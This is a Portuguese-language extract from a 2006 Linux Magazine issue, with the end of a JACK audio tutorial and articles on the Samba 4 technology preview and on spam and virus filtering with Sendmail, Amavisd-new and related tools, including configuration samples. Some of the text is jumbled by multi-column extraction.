O suporte ao JACK tornou-se um recurso esperado nos novos programas de áudio do Linux. Como resultado, as implementações são tantas que não podemos listá-las aqui, mas seus grupos incluem sistemas de gravação em disco rígido (Ardour, ecasound, Wired), máquinas de percussão/programas de ritmo (Hydrogen), ambientes de síntese de sons por software (Csound5, SuperCollider3), seqüenciadores de áudio/MIDI (Rosegarden, MusE, seq24), editores de arquivos de som (Snd, Audacity, mhWaveEdit, ReZound), e sintetizadores standalone (AMS, Om, ZynAddSubFX). Outros programas que lidam bem com o JACK incluem os projetos de samplers LinuxSampler e Specimen, além dos vários esquemas para suporte

JACK-Rack é um contêiner útil para plugins LADSPA.

http://supertuxbr.blogspot.com Linux Magazine #22 | Agosto de 2006

55


TUTORIAL | JACK

Programação com o JACK Programar com a API do JACK está além dos objetivos deste artigo. Leitores interessados encontram excelentes instruções no código-fonte do JACK (veja os arquivos simple_client.c no diretório example_clients) e em vários sites pela rede. Um tutorial em http://www.dis-dotdat.net/index.cgi?item=/jacktuts/starting/ contém uma introdução muito

bem escrita sobre como adicionar o JACK a um simples aplicativo de áudio. Lewis Berman escreveu um PDF sobre como escrever um gravador de áudio com o JACK em http://userpages.umbc.edu/~berman3/. Além disso, a API do JACK naturalmente pode ser lida e estudada no bem comentado arquivo de cabeçalho jack.h. Se você quiser compilar o JACK e tiver o software doxygen instalado, pode criar documentação para desenvolvedores do JACK. Essa documentação está disponível no site do JACK, mas sua última atualização foi em 15 de setembro de 2005.

Figura 7 JAMin é uma interface de masterização de qualidade profissional baseada no LADSPA.

a plugins de áudio VST/VSTi no Linux (esses esquemas também precisam do software WINE). Sistemas de reprodução de mídias para Linux como MPlayer, XMMS e AlsaPlayer também oferecem suporte ao JACK. Os usuários devem notar que esses aplicativos variam em relação ao suporte ao JACK. Alguns somente usam sua conectividade de áudio, enquanto outros usam implementações parciais de seu controle de transporte, e uns poucos já aproveitam melhor as vantagens oferecidas pelo JACK. Consulte a documentação dos aplicativos específicos para determinar a profundidade do seu suporte. O pacote JACK básico inclui diversas ferramentas úteis de linha de comando como jack_connect/jack_disconnect (gerencia conexões de clientes), jacl_metro (um metrônomo configurável), jack_lsp (lista as portas do JACK, suas conexões e propriedades), e jack_transport (gerencia o status do controle de transporte do JACK). O JACK também inspirou uma onda de ferramentas e utilitários novos. O JACK-Rack (figura 6) é um contêiner muito útil para plugins LADSPA que lhe permite montar um rack virtual de módulos de processamento de áudio com controle MIDI de parâmetros dos plugins. Além dele, o JAMin (figura 7) é o resultado de um esforço coletivo de profissionais de áudio para criar uma interface de qualidade profissional para masterização estéreo, baseada nos plugins LADSPA de processamento de

sinais de áudio. O Timemachine grava o buffer em disco e continua gravando em tempo real. O JAAA (JACK and ALSA Audio Analyser, figura 8) é um gerador de sinal e analisador de espectro de nível profissional, construído para medições precisas de áudio. E só para mostrar que não há necessidade de uma interface gráfica sofisticada, o jack_convolve é um engine de convolution de linha de comando baseado no JACK, muito útil para criarmos efeitos de reverberação e outros de alta qualidade.

JACK em ação

O futuro do JACK

Em 2004 o JACK ganhou um merecido bronze nos Merit Awards da Open Source Initiative. Naquela época, o software estava na versão 0.9x, e hoje a versão estável é a 0.101.1. Conforme o JACK caminha para a versão 1.0, seu futuro parece brilhante. O suporte ao MacOSX é atualmente uma característica mais comum em novos programas de áudio para Linux, e programadores que usam o JACK provavelmente acham mais fácil planejar o suporte a áudio multiplataforma. Existe

As figuras 9 e 10 mostram o JACK em dois exemplos de uso no Estúdio Dave. A figura 9 ilustra um uso mais simples numa rede áudio-e-MIDI, combinando o seqüenciador MIDI seq24, o sintetizador baseado em soundfont QSynth e o Jack-Rack, todos rodando num Omnibook PII 266 com seu humilde chip de som Crystal Sound CS4232. A figura 10 demonstra um conjunto mais ambicioso de roteamentos e conexões com o JACK gerenciando a E/S entre uma M-Audio Delta 66, o Ardour e o Hydrogen. Não há muito a acrescentar sobre o uso do JACK nesses cenários. Uma vez configurado o JACK, seu desempenho é completamente transparente. Você só precisa estabelecer as conexões Figura 8 e fazer sua música.

O JAAA é um gerador e analisador de espectro de nível profissional.

http://supertuxbr.blogspot.com 56

http://www.linuxmagazine.com.br


JACK | TUTORIAL

Mais Informações [1] Página do JACK: http://jackit.sourceforge.net [2] Matriz de placas de som ALSA: http://www.alsa-project.org/ alsa-doc/ [3] Patchage: http://www.scs.carleton.ca/ ~drobilla/patchage/ [4] QJackConnect: http://www.suse.de/ ~mana/jack.html [5] QJackCtl: http://qjackctl.sourceforge.net/ [6] Entrevista com Paul Davis no Builder.com:

http://builder.com.com/ 5100-6375-5136755.html?tag=tt

Figure 9 O JACK com uma rede áudio-mais-MIDI.

também uma implementação em Java, aumentando ainda mais a disponibilidade multiplataforma do JACK. Músicos usuários de MIDI têm familiaridade com a implementação de códigos de tempo não suportada pelo JACK atualmente, e uma coordenação das capacidades de sincronização seria muito bem-vinda. O trabalho nessa área já começou a ser feito, então é provável que uma mistura de MIDI com o JACK venha a surgir. Os atrativos do JACK podem parecer irresistíveis, mas ele pode não ser a melhor solução para serviços de áudio para um desktop comum. Diferentemente do ALSA, o JACK não foi planejado para ser incluído nos fontes do kernel, então sua presença em qualquer distribuição de Linux é resultado de decisões dos próprios mantenedores da distribuição. Além disso, o JACK não é tão transparente para o usuário quanto os servidores artsd e esd, e é necessário fazer mais configurações para obter o melhor desempenho. Todavia, o JACK é um sistema altamente flexível e pode tornar-se o servidor de áudio para desktops Linux. Para quem tem inclinações profissionais, o JACK é uma dádiva. A estabilidade de seu desempenho já foi testada e aprovada em aplicações reais de alta demanda, e sua aplicabilidade pode ser vista numa crescente gama de programas baseados em JACK, cada vez mais poderosos. A API do JACK pavimentou o caminho para uma nova onda de

aplicativos Linux de áudio de alta qualidade e aumentou as possibilidades de uso em desktops Linux normais para os profissionais de áudio. Se você precisa de um sistema de áudio sólido e com grande desempenho para o Ardour, ou se só quer se divertir roteando a saída do XMMS através de efeitos LADSPA no JACK-Rack, você precisa conhecer o JACK. ■

Figure 10

[7] Mini-HOWTO de baixa latência: http://www.djcj.org/LAU/guide/ Low_latency-Mini-HOWTO.php3 [8] Notas de Florian Schmidt sobre compilação de um kernel 2.6 com baixa latência:

http://tapas.affenbande.org/ ?page_id=3 [9] Página do JACK em linux-sound.org: http://linux-sound.org/ jack.html

Uma configuração do JACK mais ambiciosa.

http://supertuxbr.blogspot.com Linux Magazine #22 | Agosto de 2006

57


SYSADMIN

Uma versão de demonstração de novas tecnologias do Samba 4 foi apresentada no final de janeiro. Mostramos aqui as novidades dessa suíte de serviços de arquivos e impressoras. por Markus Klimke

A próxima versão do servidor universal

Samba do futuro E

m todas as versões do Samba, o objetivo é o mesmo: compartilhar recursos do Windows® com sistemas operacionais Unix como o Linux, e compartilhar recursos do Linux com sistemas Windows [1]. Um fator de dificuldade para os desenvolvedores é que o suporte a sistemas Microsoft seja um alvo móvel: Redmond não é exatamente renomada por sua disposição de publicar especificações, e a gigante do software continua estendendo seus protocolos SMB/CIFS a cada versão do Windows. Os desenvolvedores de código aberto tentam acompanhar as mudanças usando ferramentas como o Ethereal para rastrear conexões. Isso costumava funcionar no passado, mas a Microsoft dificultou a situação com o Windows 2000 ao introduzir o sistema de diretórios baseado em objetos chamado Active Directory Service (ADS, [2]). Entretanto, nesse caso a Microsoft buscou padrões estabelecidos, e seus desenvolvedores colocaram um banco de dados de usuários LDAP num mecanismo de autenticação Kerberos 5 e optaram pela resolução de nomes baseada em DNS. O fato de que a Microsoft aderiu a padrões verdadeiros abre as portas para o Linux apresentar um alto grau de interoperabilidade, graças às implementações livres como o OpenLDAP

e as versões do Kerberos com licenças MIT e Heimdal. Um objetivo principal do Samba 4 é prover um servidor de diretório Samba que consiga interoperar com o Microsoft Active Directory, e uma versão bastante preliminar dessa funcionalidade foi liberada no final de janeiro. A equipe do Samba preferiu uma abordagem radical, reimplementando diversas rotinas com o objetivo de tornar o Samba 4 livre de antigas gambiarras que atrapalhavam as versões anteriores. Como conseqüência, muitas opções das quais o Samba 3 depende foram retiradas.

Kerberos, OpenLDAP e LDB O Samba 3 deu aos administradores de rede a opção de instalar uma máquina Linux como servidor de domínio num domínio Windows 2000/2003. Do ponto de vista técnico, o servidor usa tíquetes Kerberos com fins de autenticação. Baseado nesse design, tanto servidores quanto clientes (usando ferramentas como smbmount) trocam tíquetes, implementando assim operações que requerem somente autenticação uma única vez (single-signon) entre o Linux e o Windows dentro do domínio. O uso do Samba 3 como

controlador primário de domínio (PDC, ou Primary Domain Controller) ou controlador reserva de domínio (BDC, ou Backup Domain Controller) ficava restrito à autenticação no estilo do Windows NT, com o Kerberos adicionado. Agora que o Samba 4 implementa sua própria funcionalidade Kerberos, o

Samba4WINS O serviço de nomes de Internet do Windows (WINS) é uma volta à época do NT 4. Dito isto, mais e mais sistemas Windows recentes utilizam o protocolo WINS para resolver nomes NetBIOS. Quando mapeiam um compartilhamento, o nome NetBIOS pode ser usado após a primeira contrabarra ou primeiras contrabarras. O Samba já funciona com NetBIOS há algum tempo, pois é isso que permite a interoperabilidade entre os servidores. O Samba 4 não mudará isso de forma profunda. O problema é que servidores WINS que utilizam Samba não suportam replicação. Isso não deixa alternativa aos administradores senão gastar dinheiro rodando servidores WINS Windows. O projeto de cooperação Samba4WINS [3] visa a mudar esse quadro. As empresas envolvidas são Sernet, Computacenter e Fujitsu Siemens Computers, além da Linux Solutions Group e.V. O Samba4WINS será inteiramente integrado ao Samba 4. A funcionalidade pode ser incluída no Samba versão 3.0.21 ou mais recente e executada como um processo independente.

http://supertuxbr.blogspot.com 58

http://www.linuxmagazine.com.br


Samba 4 | SYSADMIN

Teste de um PDC

Figura 1 A ferramenta provision inicializa o banco de dados do Samba. É possível usar o Swat para o mesmo fim.

Samba pode substituir um controlador de domínio moderníssimo no estilo Microsoft (veja abaixo). A implementação do Kerberos usa a variante Heimdal, e naturalmente o desenvolvedor do Heimdal Love Astrand teve um papel importantíssimo na equipe de desenvolvimento. No futuro, será possível usar bibliotecas Kerberos externas. Uma coisa que o Samba 3 nunca conseguiu fazer é a sincronização de bancos de dados de usuários com seus próprios bancos de dados Samba (leia o quadro Samba4WINS para mais detalhes). Já que o OpenLDAP consegue replicar seu banco de dados em outros servidores do mesmo tipo, os desenvolvedores do Samba 3 simplesmente esqueceram esse assunto. Entretanto, configurar um servidor OpenLDAP não é nada trivial. A equipe do Samba 4, liderada por Andrew Tridgell, se utilizou de toda essa tecnologia disponível e implementou seu próprio back-end LDAP conhecido como LDB. Outro motivo importante para o Samba implementar sua própria solução LDAP é a replicação livre de problemas. Por exemplo, os desenvolvedores queriam migrar mudanças através das máquinas envolvidas para eliminar qualquer risco de replicação inconsistente. Parece bastante que o Samba 4 ainda manterá a capacidade de se ligar ao OpenLDAP, principalmente para suportar ambientes já estabelecidos com servidores Samba 3.

relacionados ao CIFS, cujo trabalho de desenvolvimento aumenta a cada versão. Peguemos, por exemplo, as propriedades experimentais do CIFS, que suportam o Kerberos desde a versão 2.6.16. Isso foi uma grande desvantagem em comparação ao SMB do Windows, que permitia aos usuários montar compartilhamentos usando single-sign-on com a opção -o krb. No território do gerenciamento de acesso, o Samba já é capaz de mapear ACLs Posix em ACLs NTFS e vice-versa há algum tempo. Novamente, a versão 4 usa uma abordagem diferente e, em vez de armazenar ACLs NT no sistema de arquivos Posix, introduz um sistema de arquivos virtual conhecido como NTVFS, que guarda os atributos NTFS como eles estiverem. Ele é até mesmo capaz de emular ACLs em streams de dados NTFS. Streams de dados alternados (ADS, ou Alternate Data Streams) são uma função do sistema de arquivos NTFS, que permite que os usuários guardem dados de um arquivo de forma alternada e invisível. Políticas de grupo são outro tópico importante da discussão; no momento da escrita deste artigo, não havia certeza sobre como o Samba 4 lidará com eles.

Exemplo 1: Saída do testparm # Global parameters [global] server role = pdc workgroup = DOMINIOTESTE realm = DOMINIOTESTE.ORG netbios name = LINUX log level = 2 registry:hkey_users = hku.ldb registry:hkey_local_machine = hklm.ldb comment = path = ntvfs handler = unixuid, default read only = Yes hosts allow = hosts deny = max connections = -1 strict sync = No case insensitive filesystem = No max print jobs = 1000 printable = No printer name = map system = No map hidden = No map archive = Yes browseable = Yes csc policy = manual strict locking = Yes copy = include = available = Yes volume = fstype = NTFS msdfs root = No [dados] path = /export/dados read only = No hosts allow = hosts deny = [IPC$] comment = Servico IPC (Samba 4.0.0tp1) path = /tmp ntvfs handler = default hosts allow = hosts deny = browseable = No fstype = IPC

CIFS, NTFS e ACLS Posix Nunca foi o objetivo do Samba restringir o suporte a ambientes heterogêneos; em vez disso, o Samba sempre teve um papel importante no domínio NFS, suportando o intercâmbio de dados entre sistemas Unix e Linux — chegando ao ponto de competir com o NFS 4, que ainda não está totalmente desenvolvido. Isso fica evidente nos módulos de kernel

Após descompactar o código-fonte do Samba 4.0.0tp1, disponível em [4], procure o arquivo howto.txt na árvore do projeto; o arquivo tem algumas dicas interessantes de operação. Após terminar a compilação, você primeiro precisa prover o banco de dados. A ferramenta provision se encarrega disso, criando o banco de dados LDAP, o registro, e entradas pré-definidas para acesso ao LDB

Figura 2

Adicionando um servidor Windows 2003 como um servidor membro de um domínio Samba 4.

[ADMIN$] comment = Servico de DISCO (Samba 4.0.0tp1) path = /tmp hosts allow = hosts deny = browseable = No fstype = DISK

http://supertuxbr.blogspot.com Linux Magazine #22 | Agosto de 2006

59


SYSADMIN | Samba 4

uma interface completa de administração. Mas ele definitivamente consegue mostrar o que o Samba 4 pode fazer no papel de PDC. O usuário padrão é Administrator, que deve fazer login usando um cliente Windows. Mas o Swat oferece a possibilidade de adicionar outros usuários. Como uma alternativa, você pode tentar usar uma das várias novas ferramentas de linha de comando: a que você precisa aqui é a ldbadd. Note que o ldbadd necessida de um usuário codificado por LDIF. Como o Swat não é capaz de processar isso, a figura 3 mostra como adicionar um usuário ao domínio. Quando um usuário faz seu primeiro login, as configurações do registro do Samba pedem a mudança Figura 3 O Swat permite que você configure um usuário codificado por LDIF; as ferramentas da senha. O Swat não suporta políticas de console oferecem a mesma possibilidade. de senha atualmente. Supondo que o login esteja funcionando, e ao servidor DNS dos serviços Kerberos vida mais fácil para o administrador. A as credenciais do usuário agora estão guar(veja a figura 1). Ainda será necessário ferramenta, bastante conhecida, mas dadas de forma segura no banco de dados adicionar entradas manualmente à zona pouco utilizada Swat renasceu na versão LDB do Samba. Se você quiser verificar ou para o servidor DNS. O equivalente do 4: a interface web agora é parte da suíte mudar as entradas do banco de dados, pode Windows à ferramenta provision é co- Samba. Assim que o daemon Samba é rodar uma ferramenta de console como o nhecido como dcpromo. iniciado, um servidor embutido com- ldbedit ou o ldbsearch. O primeiro abre o O provision criará também um smb. pacto Appweb [5] fornece a plataforma banco de dados no seu editor preferido, conf mínimo. Se você passar o prefixo para o Swat. Isso elimina a necessidade onde você pode procurar a entrada do /usr com o script configure, encontrará de configurar o Swat, em contraste com usuário e modificá-la se quiser. A figura 4 o arquivo de configuração em /usr/lib as versões anteriores; já é possível navegar demonstra como usar o ldbsearch. ao final. Para um maior controle, você pela ferramenta com o seu navegador O Samba 3 oferecia a possibilidade pode mudar o daemon Samba para o assim que o daemon é iniciado. altamente útil de aceitar um domínio modo interativo com o comando smbd O Swat ainda não tem algumas carac- migrado de um servidor Windows NT, e -i -M single, o que jogará as mensagens terísticas necessárias para ser considerado o Samba 4 naturalmente também faz isso. na saída padrão. O Samba 4 suporta três modos de operação: ele pode rodar como um único processo, usando threads, ou na variante multiprocesso. Assim que o daemon estiver rodando e você tiver configurado um compartilhamento de teste, o testparm deve gerar uma saída semelhante à do exemplo 1. De acordo com a equipe do Samba, a versão 4.0.0tp1 é capaz de substituir um PDC. Depois de adicionar as entradas do DNS, nada o impede de adicionar uma máquina Windows ao domínio Samba. Em nosso laboratório, adicionamos um servidor Windows 2003 como servidor membro. Depois de especificarmos o domínio e dizermos que queríamos que a máquina entrasse no domínio, o Windows 2003 pareceu bastante confortável (veja a figura 2).

Swat revisitado

O gerenciamento de sistemas foi retrabalhado e consideravelmente estendido. Depois de adicionar novas capacidades como Kerberos e LDAP, a equipe do Samba agora deu passos para tornar a

Figura 4

A ferramenta de console do Samba, ldbsearch, procurando um usuário.

http://supertuxbr.blogspot.com 60

http://www.linuxmagazine.com.br


Samba 4 | SYSADMIN

Os administradores também podem migrar domínios do Samba 3 para o Samba 4 pelo Swat. Este modo “vampiro” não é mais restrito ao Windows NT; agora funciona também com o Windows 2000/2003 Server. Na figura 5 é possível ver como migramos um domínio do Windows 2003. Só para ter certeza de que o arquivo de log não estava otimista demais, a figura 6 mostra nossa busca de um usuário no banco de dados LDB do Samba. Nós só queríamos saber se o novo usuário tinha conseguido entrar no novo domínio win, e a resposta foi positiva.

dos de arquivos para outro servidor CIFS. Se o gateway for um servidor membro de domínio, ele pode encaminhar tíquetes de serviços e usuários: [extdata] ntvfs handler = cifs cifs:server = nextserver cifs:share = shared

Não existem muitos back-ends para o NTVFS atualmente. Além Figura 6 Só para verificar se a migração funcionou direito, nós rodamos das opções detalhadas acima, o o ldbsearch para procurar um usuário. código-fonte tem a opção simple, a qual faz as operações sobre arquivos serem operadas com privilégios de suporte a impressão ainda está faltando. Editar arquivos de configuração é um superusuário, tornando-a inútil. Se você Os desenvolvedores não sugerem que método comprovadamente eficiente de precisar de mais informações sobre as op- se instale o Samba 4 em ambientes de sintonia fina. No Samba, o número de ções do samba.conf, veja o arquivo source/ produção até que eles tenham terminado arquivos de configuração aumentou sen- param/loadparm.c no código-fonte. seu trabalho. Um comunicado público sivelmente. Da mesma forma, algumas indica que isso não acontecerá antes do opções do Samba 3 foram descartadas. fim do ano. A sugestão de alguns desenAinda não está claro quais dessas opvolvedores é procurar implementações de ções serão retiradas, já que muitas delas De uma forma geral, parece que o Samba novas características (ou seja, backports) ainda permanecem lá para contornar 4 finalmente se livrará de suas amarras da versão 4 na versão 3. problemas em operações no modo de do passado. Além de LDAP e Kerberos, A versão 4 não é a única fonte de ocupainteroperabilidade. o software agora consegue lidar com ção dos desenvolvedores do Samba; existe Novas palavras-chave descrevem o ACLs além do Posix, e tem sua própria ainda a pequena questão da versão não estado e o comportamento do KDC — emulação de servidor Active Directory. O documentada do Windows Vista SMB kpasswd port ou krb5 port, por exemplo. Samba4WINS fornece serviços de replica- 2, que foi completamente reescrita. Se A opção paranoid server security deter- ção a servidores WINS. Há três modelos os casos de monopólio na UE contra a mina um nível de segurança, enquanto para maior escalabilidade: processo único, Microsoft não tiverem êxito em forçar a ntvfs handler especifica como a camada múltiplos processos como no Samba 3, e empresa a publicar interfaces, a equipe do NTVFS deve se comportar. O padrão uma variante com threads. Samba pretende utilizar novamente sua aqui é ntvfs handler = unixuid, que sinMas atenção: essa demonstração de antiga prática de monitorar transferências croniza as operações de arquivos com o tecnologia apresentada aqui tem o objetivo de arquivos com o Ethereal. ■ de servir como plataforma para a revisão sistema de arquivos Posix abaixo. A opção ntvfs handler = cifs permite de novas tecnologias. Ela não tem todas Mais Informações que você rode um servidor Samba como as características que esperaríamos em um gateway CIFS, que encaminha pedi- operações de produção. Por exemplo, o [1] Samba: http://samba.org

Configuração

Independência

[2] Active Directory: http://www.microsoft.com/ technet/prodtechnol/ windows2000serv/technologies/ activedirectory/default.mspx [3] Samba4WINS: http://EnterpriseSamba.org/ index.php?id=88 [4] Samba 4.0.0tp1: http://devel.samba.org/ samba/ftp/samba4/ [5] Appweb Embedded Webserver : http://www.appwebserver.org

O autor Figura 5 O protocolo Swat seguindo a migração de um domínio do Windows 2003.

Markus Klimke trabalha para o Instituto de Modelagem e Cálculos da Universidade Técnica de Hamburgo-Harburg.

http://supertuxbr.blogspot.com Linux Magazine #22 | Agosto de 2006

61


SYSADMIN Sendmail contra o lixo digital

Fora spam! O spam é uma praga digital e deve ser combatido como tal. O Sendmail oferece diversas abordagens, tanto sozinho quanto acompanhado, para filtrar mensagens indesejadas. Entenda os princípios da filtragem de spam com o Sendmail e outros componentes que podem ajudar muito nesta tarefa, e veja qual abordagem oferece o custo-benefício que você espera. por Mirko Dölle

O

versátil agente de transporte de mensagens (MTA, na sigla em inglês) Sendmail oferece diversas formas de controlar a atual epidemia de vírus e spam. Este artigo apresenta três cenários plausíveis anti-spam e antivírus antes de terminar com uma discussão sobre uma abordagem radical que virtualmente elimina todo o spam. A discussão pressupõe que o leitor esteja minimamente familiarizado com a configuração do Sendmail. O artigo se aterá a ferramentas práticas adicionais. Algumas configurações internas do Sendmail [1], como por exemplo as estratégias de prevenção por listas negras, também ajudam a combater essas pragas, porém raramente representam uma solução completa. Para mais informações sobre a configuração de servidores Sendmail,

o site deste programa [2] oferece um resumo de seu código. O Amavisd-new é uma interface entre um MTA e um filtro de conteúdo como um antivírus ou o Spamassassin. Você pode buscar mais informações sobre o Amavisd-new na edição de Fevereiro de 2006 da Linux Magazine [4]. Diversas configurações do Amavis estão disponíveis para vários MTAs, e oferecem ao mesmo tempo uma interface para estatísticas. O Amavis é bastante seguro do ponto de vista da programação, já que a linguagem Perl não está sujeita a estouros de buffer. O fato de os fóruns de segurança como o SecurityFocus e o FrSirt [5] não falarem muito sobre o Amavis por si só já confirma esse ponto. O Amavis normalmente não requer privilégios de superusuário; ele roda feliz num ambiente de chroot, e dá aos

administradores opções de configuração para evitar ataques de negação de serviço baseados em emails-bomba. A interface é fácil de instalar. Para sistemas baseados em Debian, rode aptget install amavisd-new. Como o Amavis geralmente também procura vírus, você certamente vai querer instalar um antivírus ao mesmo tempo. A configuração fica em /etc/amavis/amavisd.conf; e as opções dependem da situação atual. Entretanto, você pode antes modificar a sua instalação do Sendmail. Há diversas formas de integrar o Amavis ao Sendmail. O recomendado é a variante dual do Sendmail. Nesse cenário, a primeira instância do Sendmail aceita emails na porta 10024, encaminhando-os à segunda instância do Sendmail após a verificação.

http://supertuxbr.blogspot.com 62

http://www.linuxmagazine.com.br


Spam no Sendmail | SYSADMIN

~/.procmailrc

Sasl

SM-MTA-RX

SM-MTA-TX

na porta 25

na porta 10025

Procmail

Dovecot POP3(s), IMAP(s)

Amavisd-new na porta 10024

TMDA (opcional)

Clam-AV

Spamassassin

Razor

(clamd)

Squirrelmail

Cliente de Email

DCC

Figura 1 Simples e bastante rígido: Sendmail e Amavis lutando sozinhos contra spam e vírus.

Sendmail dual

Hostname-tx.mc. Defina as configurações Executar o Amavis significa configurar até para recebimento de email, incluindo os dois processos do Sendmail que gerenciam limites de recursos, em hostname-rx.mc. O filas distintas de mensagens. Um processo lado do envio é definido pelo hostnamegerencia a fila de recepção (MTA-RX), tx.mc. Uma vantagem da instalação dual enquanto o outro cuida da transmissão do Sendmail é que o MTA-RX, acessível (MTA-TX): o Amavisd-new fica no meio da Internet, não precisa rodar com privido caminho, atuando como um filtro de légios de superusuário, pois não acessa vírus e spam. O processo MTA-RX escuta os diretórios home dos usuários. na porta TCP 25, e lê sua configuração dos arquivos /etc/mail/sendmail-rx.cf e / etc/mail/submit.cf, junto com o arquivo A maioria das redes inclui computafonte /etc/mail/hostname-rx.mc. Digite mkdir /var/spool/mqueue-rx para dores com Windows®, portanto faz criar o diretório com a fila de emails. sentido permitir que o servidor de A seguinte linha aplica as permissões emails busque vírus. O ClamAV é um adequadas: antivírus aberto e gratuito com atualizações diárias. Binários do ClamAV chown root:amavis /var/spool/mqueue-rx estão disponíveis para diversas distri➥ && chmod 700 /var/spool/mqueue-rx buições de Linux. Infelizmente, esse programa recentemente esteve nas Continue agora com a definição do manchetes devido a algumas falhas seu próprio soquete de controle, ou faça críticas de segurança, o que dificulos dois processos do Sendmail pararem ta sua recomendação. No entanto, o Amavisd-new facilita a execução de de discutir: múltiplos antivírus em paralelo; uma define(`confCONTROL_SOCKET_NAME’, visão geral dos antivírus mais popula➥`/var/run/sendmail/mta/smcontrol-rx’)dnl res está disponível em [6].

gins e um programa antivírus. As opções são diversas. Se você configurar a variável $mydomain da forma errada, praticamente nada funcionará, então comece dandolhe um valor. Defina também valores adequados para $LOGFILE e $log_level para ativar a solução de problemas e a análise de logs. Em seguida, você deve pensar no que acontecerá às mensagens infectadas por vírus e ao spam, definindo as variáveis $final_virus_destiny e $final_spam_destiny de acordo. As opções disponíveis são D_PASS, D_DISCARD, D_BOUNCE e D_REJECT; administradores responsáveis devem optar por D_BOUNCE em vez de D_REJECT, pois essa última permite a adulteração de endereços (address spoofing). Esse método utiliza os parâmetros $sa_* para controlar o Spamassassin, que são praticamente auto-explicativos. Para marcar todas as mensagens com um cabeçalho X-Spam, defina $sa_tag_level_deflt = -999 . Para permitir aos usuários identificar spam pela linha de assunto do email, um $sa_spam_subject_tag vazio ajuda. Para aumentar a taxa de detecção, também é bom mandar o Amavis usar fontes externas, como listas negras, o DCC, A maneira mais simples e menos flexível Razor, Pyzor. Para isso, use a opção de combater spam e vírus é usar o Amavis $sa_local_tests_only = 0. (figura 1) sozinho. A interface automaticaJá se mostrou que valores entre 2 e mente integra o Spamassassin, seus plu- 2,5 são úteis para a $sa_tag2_level_deflt,

Programas maliciosos

O processo MTA-TX se liga à porta 10025 da interface local e usa o arquivo de configuração e a fila normais. Para manter as informações legíveis, usaremos o arquivo fonte compartilhado /etc/mail/

Amavis sozinho

http://supertuxbr.blogspot.com Linux Magazine #22 | Agosto de 2006

63


SYSADMIN | Spam no Sendmail

~/.procmailrc

Sasl

SM-MTA-RX

SM-MTA-TX

na porta 25

(porta 10025)

Spamassassin

Procmail

Dovecot POP3(s), IMAP(s)

TMDA

Amavisd-new

(opcional)

na porta 10024

Razor MySQL-DB

Clam-AV

Squirrelmail

(clamd)

Cliente de Email

DCC Maia Mailguard (front-end web com PHP) Figura 2

Um cenário mais flexível com bancos de dados e Sendmail, Amavis e Maia.

que marca mensagens como spam ou não-spam. No caso de aparecerem muitos falsos positivos, pode-se aumentar esse valor, mas com cuidado. A opção $sa_mail_body_size_limit nos permite controlar o tamanho de mensagem a partir do qual o Amavis não buscará mais spam – emails grandes dificilmente são spam. E a opção $sa_timeout informa o número de segundos que o Amavis esperará pelo Spamassassin antes de encaminhar as mensagens. As listas brancas e negras e os receptores que preferirem desativar a verificação de spam ($spam_lovers) podem ser configurados de forma bastante flexível. Listas brancas são problemáticas devido a endereços remetentes adulterados, como já mencionamos.

Figura 3 A interface Maia oferece aos usuários a possibilidade de usar configurações individuais – listas negras, no caso.

Múltiplos antivírus

A solução 1 permite verificar vírus, e pode até usar múltiplos antivírus paralelamente. (ClamAV e McAfee foram testados com sucesso pelo autor). Assim que o antivírus encontra um vírus, seria um desperdício de recursos entregar a mensagem para o outro. O parâmetro $first_infected_stops_scan = 1 impede esse comportamento. Também é possível avisar o remetente a respeito do email infectado especificando $warnvirussender = 1, porém esse serviço pode não fazer muito sentido, pois administradores afobados provavelmente tratarão seus avisos como spam, ou os endereços adulterados impedirão o email de aviso de alcançar o verdadeiro responsável pelo spam. Se você preferir não apagar automaticamente as mensagens com vírus, pode usar um diretório de quarentena com a variável $QUARANTINEDIR, naturalmente cuidando para que haja espaço suficiente em disco. A varredura de vírus pode rapidamente consumir boa parte dos recursos de um servidor de email, levando-o assim a uma condição de negação de serviço. Emails-bomba, em especial,

explodem para um tamanho tão grande quando descompactados para a varredura de vírus que o servidor pode facilmente ficar sem memória e espaço de troca. O parâmetro $MAXLEVELS diminui esse problema restringindo os níveis de aninhamento de arquivos múltiplas vezes compactados. Ao atingir o nível pré-definido, o Amavis pára de tentar descompactar o arquivo. O parâmetro $MAXFILES restringe o número de arquivos por email. O parâmetro $MAX_EXPANSION permite que você defina um limite em bytes para uso da memória em operações de descompactação. Sempre que um email exceder um desses três limites, o Amavisdnew versão 20060616-p8 ou mais recente adiciona uma etiqueta ***UNCHECKED*** ao campo de assunto. É uma boa prática filtrar esses emails, pois provavelmente contêm vírus.

Solução 2

A solução 1 é fácil de configurar, no entanto não oferece muitas opções de personalização das filtragens baseadas em usuários. Uma maneira de estender o Amavis é adicionar o Maia Mailguard

http://supertuxbr.blogspot.com 64

http://www.linuxmagazine.com.br


Spam no Sendmail | SYSADMIN

[7] conforme o esquema da figura 2. Maia

é uma interface web multi-linguagem e fácil de usar feita em PHP e Perl. Ele usa uma versão modificada do Amavisd-new, que armazena configurações específicas para cada usuário num banco de dados MySQL ou PostgreSQL. A instalação é longa, porém não oferece grande dificuldade. Os usuários acessam suas configurações individuais pela interface web. Para isso, pede-se que eles façam login com seus endereços completos (!) de email. Depois, eles podem gerenciar suas caixas de mensagens, definir listas negras individuais (figura 3), ou mudar o valor de limite para spam. O preço dessa conveniência é um maior risco para o administrador: mais componentes sempre significam maior risco de falha. Se o banco de dados travar, o servidor simplesmente pára de entregar os emails. Olhando pelo lado positivo, ele armazena a mensagem temporariamente, entregando-a mais tarde, assim que o banco de dados voltar. Para aumentar a disponibilidade, administradores podem utilizar múltiplos servidores SQL. O segundo ponto crítico é que as alterações usadas pelo Maia impedem-nos de instalar as atualizações de segurança em formato binário fornecidas para o Amavisd-new por nossas distribuições

– isso simplesmente apagaria o caminho (path). Para servidores de email com grande volume de mensagens, a queda de desempenho devido a acessos repetidos ao banco de dados também pode ser significativa (veja abaixo). Mais uma vez, os administradores podem contornar esse problema utilizando múltiplos servidores.

boa medida de segurança. A solução 3 é fácil de instalar: apt-get install spamassmilter spamassassin. Depois acrescente as seguintes linhas: INPUT_MAIL_FILTER(`spamassassin’, ➥`S=local:/var/run/sendmail/spamass.sock, ➥ F=,T=S:4m;R:4m;E:10m’)dnl

